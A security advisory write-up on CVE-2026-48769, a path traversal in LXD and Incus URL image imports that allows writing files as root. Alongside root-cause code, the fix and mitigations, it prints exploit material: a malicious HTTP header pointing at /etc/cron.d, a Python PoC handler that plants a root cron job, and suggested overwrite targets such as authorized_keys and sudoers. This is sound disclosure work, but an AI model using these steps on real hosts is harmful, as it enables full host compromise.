Nov 7, 2026·10 min read·4 visits
Canonical LXD and Linux Containers Incus fail to validate the `Incus-Image-Hash` and `LXD-Image-Hash` HTTP headers during URL-based image imports. Attackers with low-privilege API access can supply path traversal sequences in this header to write arbitrary files as root on the host filesystem (such as `/etc/cron.d/`), resulting in full host remote code execution.
A critical path traversal vulnerability caused by improper input validation (CWE-20) exists in the direct image download handler of Canonical LXD and Linux Containers Incus. When an authenticated user requests an image import using the URL source type, the daemon reads the image fingerprint from an untrusted HTTP response header (`Incus-Image-Hash` or `LXD-Image-Hash`) without validating that it conforms to a SHA-256 format. This unvalidated string is concatenated directly into a filesystem path via `filepath.Join` prior to file creation and cryptographic verification, allowing directory traversal sequences to write arbitrary files on the host filesystem as root.
Canonical LXD (github.com/canonical/lxd) and Linux Containers Incus (github.com/lxc/incus) are system container and virtual machine managers that expose a REST API over both local Unix domain sockets and remote HTTPS endpoints. Within multi-tenant or delegated operational environments, non-root users and project-scoped operators are commonly granted privileges to import container or virtual machine images into their assigned projects via the /1.0/images API endpoint.
One supported mechanism for importing images is the url source type (source.type=url), which instructs the daemon to fetch image metadata and payload bytes directly from an external HTTP or HTTPS server. During this exchange, the target server returns custom HTTP headers—LXD-Image-Hash in LXD and Incus-Image-Hash in Incus—to communicate the expected SHA-256 fingerprint of the image being downloaded.
Due to improper input validation (CWE-20), neither LXD nor Incus verifies that the fingerprint string extracted from the HTTP response header is a strictly formatted 64-character hexadecimal SHA-256 digest before using it to construct a local storage path. By embedding relative path traversal sequences (../) inside the HTTP header, an attacker controlling the remote HTTP server can escape the designated image storage directory (/var/lib/incus/images/ or /var/snap/lxd/common/lxd/images/).
Because the daemon creates the destination file on the host filesystem and streams the HTTP response body into it before computing and verifying the cryptographic hash, the attacker achieves an arbitrary file write primitive with root privileges. Although a failed hash check triggers a deferred file removal routine, the attacker can hold the HTTP response stream open to delay cleanup indefinitely, providing sufficient time for host services like cron to execute the written payload.
The vulnerability originates from a broken trust assumption between the image metadata discovery phase and the filesystem staging phase in the daemon's image management subsystem. When a client submits a POST /1.0/images request specifying source.type=url, the request handler in cmd/incusd/images.go initiates an outbound HTTP HEAD request to the caller-supplied URL to resolve the target image location and fingerprint.
Upon receiving the HEAD response, the daemon extracts the Incus-Image-Hash (or LXD-Image-Hash) header and the Incus-Image-URL (or LXD-Image-URL) header. The value from the hash header is assigned directly to the image download request structure as the image alias and target identifier without any character whitelist, length check, or path sanitization. The daemon then invokes imageDownload() in cmd/incusd/daemon_images.go.
Inside imageDownload(), the daemon assigns the unvalidated header value to the local fingerprint variable fp and constructs the target filesystem path on the host using Go's standard library filepath.Join(destDir, fp). In Go, filepath.Join automatically calls filepath.Clean on the resulting path, which resolves any .. segments against the base path destDir. Consequently, a header value of ../../../../etc/cron.d/payload resolves directly to /etc/cron.d/payload on the host operating system.
Once the path is constructed, the direct download protocol handler immediately invokes os.Create(destName) and streams the body of the subsequent HTTP GET request into the open file descriptor. Cryptographic verification of the downloaded bytes against the expected fp string only occurs after the HTTP response stream finishes closing. By delaying the termination of the HTTP GET response, the attacker prevents the post-download validation and its associated cleanup handler from executing, leaving the arbitrary file intact on disk for as long as the HTTP socket remains open.
The vulnerable execution flow spans two primary files in the daemon codebase: cmd/incusd/images.go and cmd/incusd/daemon_images.go (and their identical counterparts in the LXD repository). In cmd/incusd/images.go (lines 611–684), the daemon processes the url source type by performing a HEAD request against the remote server and reading the untrusted headers:
// cmd/incusd/images.go (lines 611-684 context)
// The daemon performs an HTTP HEAD request to the user-supplied URL
resp, err := http.Head(url)
if err != nil {
return err
}
// VULNERABLE: Header value is extracted without format or character validation
hash := resp.Header.Get("Incus-Image-Hash")
redirectURL := resp.Header.Get("Incus-Image-URL")
// Passed directly into the download struct as Alias and Server parameters
info, err := d.imageDownload(op, redirectURL, "direct", "", "", hash, false, autoUpdate, "", true, project)When execution enters cmd/incusd/daemon_images.go, the unvalidated alias parameter is assigned to the fingerprint variable fp (lines 91–92) and subsequently used to build destName (lines 333–335). The cleanup routine (lines 337–344) is registered, and the direct protocol handler (lines 469–523) creates the file on disk and streams the HTTP body into it before performing the SHA-256 verification (lines 528–532):
// cmd/incusd/daemon_images.go
func (d *Daemon) imageDownload(...) (*api.Image, error) {
// Lines 91-92: fp defaults directly to the unvalidated header string
fp := alias
// Lines 333-335: filepath.Join resolves '../' segments outside of destDir
destDir := internalUtil.VarPath("images")
destName := filepath.Join(destDir, fp)
// Lines 337-344: Deferred cleanup only runs AFTER the function returns
failure := true
cleanup := func() {
if failure {
os.Remove(destName)
os.Remove(destName + ".rootfs")
}
}
defer cleanup()
// Lines 469-523: Direct protocol handler creates the file BEFORE validating fp
if protocol == "direct" {
raw, err := os.Create(destName)
if err != nil {
return nil, err
}
defer raw.Close()
// HTTP GET request streamed directly into the host file
// Attacker holds the HTTP response open here to prevent function return
_, err = io.Copy( bodyWriter, resp.Body )
}
// Lines 528-532: Hash validation occurs too late
if fmt.Sprintf("%x", sha256.Sum(nil)) != fp {
return nil, fmt.Errorf("Hash mismatch")
}
}To remediate this flaw, the patched implementation enforces strict input validation at the boundary where the header is parsed and ensures safe file handling during staging:
// REMEDIATION PATTERN:
// 1. Validate that the hash string is strictly a 64-character lowercase hex SHA-256
matched, err := regexp.MatchString(`^[a-f0-9]{64}$`, hash)
if err != nil || !matched {
return fmt.Errorf("Invalid image hash format")
}
// 2. Verify that the cleaned destination path remains strictly inside destDir
destName := filepath.Clean(filepath.Join(destDir, fp))
if !strings.HasPrefix(destName, filepath.Clean(destDir) + string(filepath.Separator)) {
return fmt.Errorf("Invalid image destination path")
}Evaluating fix completeness: enforcing strict regular expression matching (^[a-f0-9]{64}$) on the fingerprint string completely eliminates the ability to inject path separators (/) or directory traversal dots (.). Furthermore, streaming unverified downloads into temporary staging files within a restricted directory prior to hash verification prevents pre-validation file creation in arbitrary locations across variant code paths.
Exploiting CVE-2026-48769 requires two prerequisites: low-privilege access to the Incus or LXD REST API (either via a local Unix socket membership such as the incus or lxd group, or via a remote TLS client certificate authorized for a restricted project) and network reachability from the daemon host to an attacker-controlled HTTP listener. No special daemon configuration is necessary because URL-based image imports are enabled by default for authorized API clients.
The exploitation process uses a two-stage HTTP server controlled by the attacker. First, the attacker starts an HTTP listener exposing two endpoints: /stage and /payload. When the attacker sends a POST /1.0/images request with {"source": {"type": "url", "url": "http://<attacker-ip>:8088/stage"}}, the daemon sends an HTTP HEAD request to /stage.
HTTP/1.1 200 OK
Server: direct-image-rce/1.0
Incus-Image-Hash: ../../../../etc/cron.d/incus-direct-image-url-rce
Incus-Image-URL: http://127.0.0.1:8088/payload
Connection: closeUpon parsing the HEAD response, the daemon follows the Incus-Image-URL header and sends an HTTP GET request to /payload. Before reading the response body, the daemon opens /var/lib/incus/images/../../../../etc/cron.d/incus-direct-image-url-rce via os.Create(). The attacker's /payload handler immediately writes a valid system crontab line into the HTTP stream and flushes the socket buffer:
# Excerpt from the published Proof-of-Concept exploit
def do_GET(self) -> None:
if self.path != "/payload":
self.send_error(404)
return
srv = self.server
srv.payload_requested.set()
self.send_response(200)
self.send_header("Content-Type", "application/octet-stream")
self.send_header("Cache-Control", "no-store")
self.end_headers()
# Write cron job: "* * * * * root /bin/sh -c 'id > /tmp/incus-direct-image-url-rce'\n"
self.wfile.write(srv.payload)
self.wfile.flush()
# Hold the HTTP response open for 90 seconds so cleanup() does not delete the cron file
time.sleep(srv.hold_seconds)
self.close_connection = True> [!NOTE]
> Because standard Linux cron daemons wake up on 60-second intervals to scan /etc/cron.d/ for new or modified files, holding the HTTP response open for 90 seconds guarantees that cron parses and executes the payload before the HTTP connection terminates.
Once the 90-second hold expires, the attacker server closes the connection. The Incus or LXD daemon finishes reading EOF, computes the SHA-256 digest of the cron payload, observes that the hex digest does not match the string ../../../../etc/cron.d/incus-direct-image-url-rce, and invokes the deferred cleanup() function to unlink /etc/cron.d/incus-direct-image-url-rce. By that point, the arbitrary command has already executed as root on the host.
The security impact of CVE-2026-48769 is a complete compromise of the underlying host operating system (Scope: Changed). Both incusd and lxd execute with full root privileges Outside of any container namespace. By leveraging an arbitrary file creation and overwrite primitive as root, an attacker with restricted tenant or operator credentials breaks out of project boundaries and gains uninhibited root code execution on the hypervisor or container host.
In addition to dropping scheduled tasks into /etc/cron.d/, an attacker can overwrite existing critical system files on the host. Because os.Create() truncates existing files before writing, an attacker can overwrite /root/.ssh/authorized_keys, modify /etc/shadow or /etc/sudoers, or corrupt system binaries and libraries, leading to persistent root access or denial of service.
The vulnerability carries a CVSS v3.1 base score of 9.9 (Critical) with the vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H. The Attack Complexity is Low (AC:L) because holding an HTTP response stream open requires no precise race timing, memory corruption offsets, or environmental grooming. Privileges Required is Low (PR:L), reflecting the requirement for basic API authentication capable of importing project images.
From a threat intelligence standpoint, a fully functional Proof-of-Concept exploit script is publicly available inside the vendor security advisories. While the vulnerability is not currently listed in the CISA Known Exploited Vulnerabilities (KEV) catalog and holds an EPSS score of 0.00784 (56.21st percentile), the reliability of the exploit makes any multi-tenant LXD or Incus deployment exposed to untrusted or semi-trusted API users immediately vulnerable to host takeover.
Administrators and platform operators must upgrade affected Canonical LXD and Linux Containers Incus installations to versions containing the input validation and safe staging fixes. For Linux Containers Incus, upgrade immediately to version 7.2.0 or later.
For Canonical LXD deployments, upgrade to the corresponding patched maintenance release for your active track:
0.0.0-20260630083100-c5184be310b1 or later.> [!NOTE] > If immediate package upgrades cannot be performed, operators should implement strict network and access control mitigations around the daemon interfaces and outbound connectivity.
First, audit and restrict local Unix socket access (/var/lib/incus/unix.socket and /var/snap/lxd/common/lxd/unix.socket) as well as remote HTTPS API listeners (typically TCP port 8443) so that only fully trusted system administrators can authenticate. Second, apply strict outbound egress firewall rules on the LXD/Incus host to block the daemon from initiating HTTP/HTTPS connections to arbitrary internal or external IP addresses, permitting outbound traffic only to verified, trusted image servers.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
Incus Linux Containers | < 7.2.0 | 7.2.0 |
LXD Canonical | >= 4.0.0, < 4.0.11 | 4.0.11 |
LXD Canonical | >= 5.0.0, < 5.0.7 | 5.0.7 |
LXD Canonical | >= 5.1.0, < 5.21.5 | 5.21.5 |
LXD Canonical | >= 6.0.0, < 6.9.0 | 6.9.0 |
| Attribute | Detail |
|---|---|
| CVE ID | CVE-2026-48769 (GHSA-pjff-c2wc-f6jm / GHSA-f6m5-xw2g-xc4x) |
| Weakness Class | CWE-20 (Improper Input Validation / Path Traversal) |
| CVSS v3.1 Score | 9.9 Critical (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) |
| Attack Vector | Network / Authenticated API (POST /1.0/images with source.type=url) |
| Impact | Arbitrary Host File Write and Remote Code Execution as root |
| Exploit Status | Public Proof-of-Concept (PoC) Available |
| EPSS Score | 0.78% (56.21st Percentile) |
| CISA KEV Status | Not Listed |
The product receives input or data, but does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.
GHSA-fmc8-p6q7-75cc (associated with CVE-2026-48755) is a critical argument injection vulnerability in Canonical LXD (github.com/canonical/lxd). The vulnerability occurs during instance and storage volume backup operations when processing the user-supplied compression_algorithm configuration parameter. While LXD validates the primary executable token against an allowlist of supported compression binaries, it fails to sanitize or restrict subsequent tokens parsed via shellquote.Split. These additional arguments are passed directly to exec.Command. An authenticated attacker with privileges to trigger backups can inject command-line flags for utilities like zstd to read staged files from a container filesystem and write them to arbitrary paths on the underlying host filesystem, such as /etc/cron.d/, achieving root-level arbitrary code execution on the host.
CVE-2026-9639 (GHSA-j93m-3j9p-m5m8) is a null pointer dereference vulnerability in Canonical LXD affecting versions 5.0.0 through 5.21.4 and 6.0 through 6.8. The flaw resides in the (*lxdBackend).CreateCustomVolumeFromBackup method within lxd/storage/backend_lxd.go. An authenticated attacker with the can_create_storage_volumes permission can upload a crafted custom volume backup tarball that omits the expires_at field on a snapshot entry, triggering an unhandled SIGSEGV panic and terminating the LXD daemon.
An operating system command injection vulnerability (CWE-78) exists in GeoNode versions prior to 5.1.0. The vulnerability occurs in the vector upload processing pipeline when handling user-supplied geospatial files. By supplying a crafted layer name containing shell metacharacters, an authenticated attacker with basic data upload privileges can execute arbitrary commands on the underlying server or container hosting the GeoNode application and Celery worker processes.
GeoNode versions prior to 5.0.3 contain an unrestricted file upload vulnerability (CWE-434) within the document and dataset ingestion architecture. Authenticated low-privileged users can bypass upload validation via direct REST API interactions, file extension masquerading, metadata mutation via PATCH requests, or malicious archive submissions. This allows attackers to store and serve dangerous file types, alter on-disk file references, or trigger path traversal and resource exhaustion during archive extraction.
CVE-2026-55649 is a stored Cross-Site Scripting (XSS) vulnerability in GeoNode versions prior to 5.0.3. The flaw exists because document abstract metadata fields are ingested via the metadata management pipeline and stored in the backend database without HTML sanitization or input neutralization. An authenticated attacker with privileges to create or edit document metadata can inject arbitrary HTML and JavaScript payloads into these fields. When another user, such as an administrator, views the affected document page or catalog listing, the unencoded payload is rendered into the Document Object Model (DOM) and executes within the victim's browser session.
CVE-2026-55622 (GHSA-qx75-2p3r-pwm5) is an improper access control vulnerability (CWE-284) in Canonical LXD and LXC Incus (tracked as GHSA-c9f5-j9c3-mhrg). In multi-tenant deployments utilizing project-based isolation, the REST API handler for instance creation via POST /1.0/instances verifies that the authenticated user has authorization in the destination project specified by the query parameter, but fails to verify whether the user holds read or view permissions for the source instance when executing a copy operation across projects. Consequently, an authenticated client restricted to a single project can clone instances or snapshots from unauthorized projects into their own project, resulting in complete disclosure of the target instance filesystem and embedded credentials.